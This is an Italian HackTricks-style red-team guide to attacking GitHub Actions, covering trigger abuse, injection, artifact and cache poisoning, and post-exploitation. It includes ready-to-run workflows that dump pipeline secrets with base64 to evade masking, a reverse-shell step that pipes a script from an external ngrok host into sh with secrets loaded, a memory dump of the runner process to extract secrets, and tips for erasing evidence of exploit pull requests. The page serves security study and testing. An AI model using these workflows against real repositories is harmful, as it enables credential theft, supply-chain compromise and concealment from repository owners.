Abusare di Github Actions

Reading time: 19 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di Base

In questa pagina troverai:

  • Un riassunto di tutti gli impatti di un attaccante che riesce ad accedere a una Github Action
  • Diversi modi per ottenere accesso a un'azione:
  • Avere permessi per creare l'azione
  • Abusare dei trigger relativi alle pull request
  • Abusare di altre tecniche di accesso esterno
  • Pivotare da un repository già compromesso
  • Infine, una sezione sulle tecniche di post-exploitation per abusare di un'azione dall'interno (causando gli impatti menzionati)

Riepilogo degli Impatti

Per un'introduzione su Github Actions controlla le informazioni di base.

Se puoi eseguire codice arbitrario in GitHub Actions all'interno di un repository, potresti essere in grado di:

  • Rubare segreti montati nella pipeline e abusare dei privilegi della pipeline per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP.
  • Compromettere i deployment e altri artifacts.
  • Se la pipeline distribuisce o memorizza risorse, potresti alterare il prodotto finale, abilitando un attacco alla supply chain.
  • Eseguire codice in worker personalizzati per abusare della potenza di calcolo e pivotare verso altri sistemi.
  • Sovrascrivere il codice del repository, a seconda dei permessi associati al GITHUB_TOKEN.

GITHUB_TOKEN

Questo "segreto" (proveniente da ${{ secrets.GITHUB_TOKEN }} e ${{ github.token }}) viene fornito quando l'amministratore abilita questa opzione:

Questo token è lo stesso che una Github Application utilizzerà, quindi può accedere agli stessi endpoint: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

warning

Github dovrebbe rilasciare un flusso che consente l'accesso cross-repository all'interno di GitHub, in modo che un repo possa accedere ad altri repo interni utilizzando il GITHUB_TOKEN.

Puoi vedere i possibili permessi di questo token in: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Nota che il token scade dopo il completamento del lavoro.
Questi token assomigliano a questo: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Alcune cose interessanti che puoi fare con questo token:

bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

caution

Nota che in diverse occasioni potrai trovare token utente github all'interno delle variabili d'ambiente di Github Actions o nei segreti. Questi token possono darti più privilegi sul repository e sull'organizzazione.

Elenca i segreti nell'output di Github Action
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Ottieni una reverse shell con segreti
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

È possibile controllare i permessi concessi a un Github Token nei repository di altri utenti controllando i log delle azioni:

Esecuzione Consentita

note

Questo sarebbe il modo più semplice per compromettere le azioni di Github, poiché questo caso presuppone che tu abbia accesso per creare un nuovo repo nell'organizzazione, o abbia privilegi di scrittura su un repository.

Se ti trovi in questo scenario, puoi semplicemente controllare le tecniche di Post Exploitation.

Esecuzione dalla Creazione del Repo

Nel caso in cui i membri di un'organizzazione possano creare nuovi repo e tu possa eseguire azioni github, puoi creare un nuovo repo e rubare i segreti impostati a livello di organizzazione.

Esecuzione da un Nuovo Branch

Se puoi creare un nuovo branch in un repository che contiene già un'azione Github configurata, puoi modificarla, caricare il contenuto e poi eseguire quell'azione dal nuovo branch. In questo modo puoi esfiltrare i segreti a livello di repository e organizzazione (ma devi sapere come si chiamano).

Puoi rendere l'azione modificata eseguibile manualmente, quando viene creato un PR o quando alcuni codici vengono caricati (a seconda di quanto vuoi essere evidente):

yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Esecuzione Forked

note

Ci sono diversi trigger che potrebbero consentire a un attaccante di eseguire un Github Action di un altro repository. Se quelle azioni attivabili sono configurate male, un attaccante potrebbe essere in grado di comprometterle.

pull_request

Il trigger del workflow pull_request eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: per impostazione predefinita, se è la prima volta che stai collaborando, alcuni maintainer dovranno approvare l'esecuzione del workflow:

note

Poiché la limitazione predefinita è per i contributori alla prima esperienza, potresti contribuire correggendo un bug/typo valido e poi inviare altre PR per abusare dei tuoi nuovi privilegi di pull_request.

Ho testato questo e non funziona: Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e ha cancellato il suo account.

Inoltre, per impostazione predefinita previene i permessi di scrittura e l'accesso ai segreti al repository target come menzionato nella documentazione:

Con l'eccezione di GITHUB_TOKEN, i segreti non vengono passati al runner quando un workflow è attivato da un repository forked. Il GITHUB_TOKEN ha permessi di sola lettura nelle pull request da repository forked.

Un attaccante potrebbe modificare la definizione del Github Action per eseguire cose arbitrarie e aggiungere azioni arbitrarie. Tuttavia, non sarà in grado di rubare segreti o sovrascrivere il repo a causa delle limitazioni menzionate.

caution

Sì, se l'attaccante cambia nella PR l'azione github che verrà attivata, la sua Github Action sarà quella utilizzata e non quella del repo di origine!

Poiché l'attaccante controlla anche il codice in esecuzione, anche se non ci sono segreti o permessi di scrittura sul GITHUB_TOKEN, un attaccante potrebbe ad esempio caricare artefatti dannosi.

pull_request_target

Il trigger del workflow pull_request_target ha permessi di scrittura sul repository target e accesso ai segreti (e non richiede permesso).

Nota che il trigger del workflow pull_request_target viene eseguito nel contesto di base e non in quello fornito dalla PR (per non eseguire codice non attendibile). Per ulteriori informazioni su pull_request_target controlla la documentazione.
Inoltre, per ulteriori informazioni su questo specifico uso pericoloso, controlla questo post del blog di github.

Potrebbe sembrare che poiché il workflow eseguito è quello definito nella base e non nella PR, sia sicuro utilizzare pull_request_target, ma ci sono alcuni casi in cui non lo è.

E questo avrà accesso ai segreti.

workflow_run

Il trigger workflow_run consente di eseguire un workflow da un altro quando è completato, richiesto o in_progress.

In questo esempio, un workflow è configurato per essere eseguito dopo che il separato workflow "Esegui Test" è completato:

yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Inoltre, secondo la documentazione: Il workflow avviato dall'evento workflow_run è in grado di accedere ai segreti e scrivere token, anche se il workflow precedente non lo era.

Questo tipo di workflow potrebbe essere attaccato se dipende da un workflow che può essere attivato da un utente esterno tramite pull_request o pull_request_target. Un paio di esempi vulnerabili possono essere trovati in questo blog. Il primo consiste nel workflow attivato da workflow_run che scarica il codice degli attaccanti: ${{ github.event.pull_request.head.sha }}
Il secondo consiste nel passare un artifact dal codice non attendibile al workflow workflow_run e utilizzare il contenuto di questo artifact in un modo che lo rende vulnerabile a RCE.

workflow_call

TODO

TODO: Controlla se quando eseguito da un pull_request il codice utilizzato/scaricato è quello dell'origine o da PR forkato

Abuso dell'Esecuzione Forkata

Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe riuscire a far eseguire un workflow di github, ora diamo un'occhiata a come queste esecuzioni, se configurate male, potrebbero essere abusate:

Esecuzione di checkout non attendibile

Nel caso di pull_request, il workflow verrà eseguito nel contesto del PR (quindi eseguirà il codice malevolo del PR), ma qualcuno deve autorizzarlo prima e verrà eseguito con alcune limitazioni.

Nel caso di un workflow che utilizza pull_request_target o workflow_run che dipende da un workflow che può essere attivato da pull_request_target o pull_request, il codice del repository originale verrà eseguito, quindi l'attaccante non può controllare il codice eseguito.

caution

Tuttavia, se l'azione ha un checkout PR esplicito che prenderà il codice dal PR (e non dalla base), utilizzerà il codice controllato dagli attaccanti. Ad esempio (controlla la riga 12 dove il codice del PR viene scaricato):

# INSECURE. Fornito solo come esempio.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Il codice potenzialmente non attendibile viene eseguito durante npm install o npm build poiché gli script di build e i pacchetti referenziati sono controllati dall'autore del PR.

warning

Un github dork per cercare azioni vulnerabili è: event.pull_request pull_request_target extension:yml, tuttavia, ci sono diversi modi per configurare i lavori da eseguire in modo sicuro anche se l'azione è configurata in modo insicuro (come utilizzare condizioni su chi è l'attore che genera il PR).

Iniezioni di Script nel Contesto

Nota che ci sono certi contesti github i cui valori sono controllati dall'utente che crea il PR. Se l'azione github utilizza quei dati per eseguire qualsiasi cosa, potrebbe portare a esecuzione di codice arbitrario:

Gh Actions - Context Script Injections

Iniezione di Script GITHUB_ENV

Dalla documentazione: Puoi rendere una variabile di ambiente disponibile per qualsiasi passaggio successivo in un lavoro di workflow definendo o aggiornando la variabile di ambiente e scrivendo questo nel file di ambiente GITHUB_ENV.

Se un attaccante potesse iniettare qualsiasi valore all'interno di questa variabile env, potrebbe iniettare variabili di ambiente che potrebbero eseguire codice nei passaggi successivi come LD_PRELOAD o NODE_OPTIONS.

Ad esempio (questo e questo), immagina un workflow che si fida di un artifact caricato per memorizzare il suo contenuto all'interno della variabile di ambiente GITHUB_ENV. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:

Azioni Github di Terze Parti Vulnerabili

dawidd6/action-download-artifact

Come menzionato in questo post del blog, questa Azione Github consente di accedere agli artifact da diversi workflow e persino repository.

Il problema è che se il parametro path non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere utilizzati o persino eseguiti nel workflow. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusare di questo per compromettere altri workflow che si fidano dell'Artifact.

Esempio di workflow vulnerabile:

yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Questo potrebbe essere attaccato con questo flusso di lavoro:

yaml
name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Altri Accessi Esterni

Hijacking di Namespace Repo Cancellati

Se un account cambia nome, un altro utente potrebbe registrare un account con quel nome dopo un po' di tempo. Se un repository aveva meno di 100 stelle prima del cambio di nome, Github permetterà al nuovo utente registrato con lo stesso nome di creare un repository con lo stesso nome di quello cancellato.

caution

Quindi, se un'azione sta utilizzando un repo di un account non esistente, è ancora possibile che un attaccante possa creare quell'account e compromettere l'azione.

Se altri repository stavano utilizzando dipendenze da questi repo utente, un attaccante sarà in grado di hijackarli. Qui hai una spiegazione più completa: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Repo Pivoting

note

In questa sezione parleremo di tecniche che permetterebbero di pivotare da un repo a un altro supponendo di avere qualche tipo di accesso al primo (controlla la sezione precedente).

Cache Poisoning

Una cache è mantenuta tra le esecuzioni del workflow nella stessa branch. Ciò significa che se un attaccante compromette un pacchetto che viene poi memorizzato nella cache e scaricato ed eseguito da un workflow più privilegiato, sarà in grado di compromettere anche quel workflow.

GH Actions - Cache Poisoning

Artifact Poisoning

I workflow potrebbero utilizzare artifact da altri workflow e persino repo, se un attaccante riesce a compromettere l'azione Github che carica un artifact che viene poi utilizzato da un altro workflow, potrebbe compromettere gli altri workflow:

Gh Actions - Artifact Poisoning


Post Exploitation da un'Azione

Accesso a AWS e GCP tramite OIDC

Controlla le seguenti pagine:

AWS - Federation Abuse

GCP - Federation Abuse

Accesso ai segreti

Se stai iniettando contenuto in uno script, è interessante sapere come puoi accedere ai segreti:

  • Se il segreto o il token è impostato su una variabile d'ambiente, può essere direttamente accessibile attraverso l'ambiente utilizzando printenv.
Elenca i segreti nell'output dell'azione Github
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Ottieni una reverse shell con segreti
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Se il segreto è utilizzato direttamente in un'espressione, lo script shell generato è memorizzato su disco ed è accessibile.

cat /home/runner/work/_temp/*

- Per le azioni JavaScript, i segreti vengono inviati tramite variabili d'ambiente.
- ```bash
ps axe | grep node
  • Per un 'azione personalizzata', il rischio può variare a seconda di come un programma utilizza il segreto ottenuto dall'argomento:
yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Abusare dei runner self-hosted

Il modo per trovare quali Github Actions vengono eseguite in infrastrutture non-Github è cercare runs-on: self-hosted nella configurazione yaml dell'azione Github.

I runner self-hosted potrebbero avere accesso a informazioni extra sensibili, ad altri sistemi di rete (endpoint vulnerabili nella rete? servizio di metadata?) o, anche se isolati e distrutti, più di un'azione potrebbe essere eseguita contemporaneamente e quella malevola potrebbe rubare i segreti dell'altra.

Nei runner self-hosted è anche possibile ottenere i segreti dal processo _Runner.Listener_** che conterrà tutti i segreti dei flussi di lavoro in qualsiasi fase dumpando la sua memoria:

bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Controlla questo post per ulteriori informazioni.

Github Docker Images Registry

È possibile creare azioni Github che costruiranno e memorizzeranno un'immagine Docker all'interno di Github.
Un esempio può essere trovato nel seguente espandibile:

Github Action Build & Push Docker Image
yaml
[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

Come puoi vedere nel codice precedente, il registro di Github è ospitato in ghcr.io.

Un utente con permessi di lettura sul repo sarà quindi in grado di scaricare l'immagine Docker utilizzando un token di accesso personale:

bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Poi, l'utente potrebbe cercare segreti trapelati nei livelli dell'immagine Docker:

Docker Forensics - HackTricks

Informazioni sensibili nei log di Github Actions

Anche se Github cerca di rilevare valori segreti nei log delle azioni e evitare di mostrarli, altri dati sensibili che potrebbero essere stati generati nell'esecuzione dell'azione non saranno nascosti. Ad esempio, un JWT firmato con un valore segreto non sarà nascosto a meno che non sia specificamente configurato.

Coprire le tue tracce

(Tecnica da qui) Prima di tutto, qualsiasi PR sollevata è chiaramente visibile al pubblico su Github e all'account GitHub target. In GitHub per impostazione predefinita, non possiamo eliminare un PR da internet, ma c'è un colpo di scena. Per gli account GitHub che sono sospesi da Github, tutti i loro PR vengono automaticamente eliminati e rimossi da internet. Quindi, per nascondere la tua attività, devi o far sospendere il tuo account GitHub o far segnare il tuo account. Questo nasconderebbe tutte le tue attività su GitHub da internet (fondamentalmente rimuovere tutti i tuoi PR di exploit)

Un'organizzazione in GitHub è molto proattiva nel segnalare account a GitHub. Tutto ciò che devi fare è condividere "qualcosa" in un Issue e si assicureranno che il tuo account venga sospeso in 12 ore :p e così hai reso il tuo exploit invisibile su github.

warning

L'unico modo per un'organizzazione di capire di essere stata presa di mira è controllare i log di GitHub da SIEM poiché dall'interfaccia di GitHub il PR verrebbe rimosso.

Strumenti

I seguenti strumenti sono utili per trovare flussi di lavoro di Github Action e persino trovare quelli vulnerabili:

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks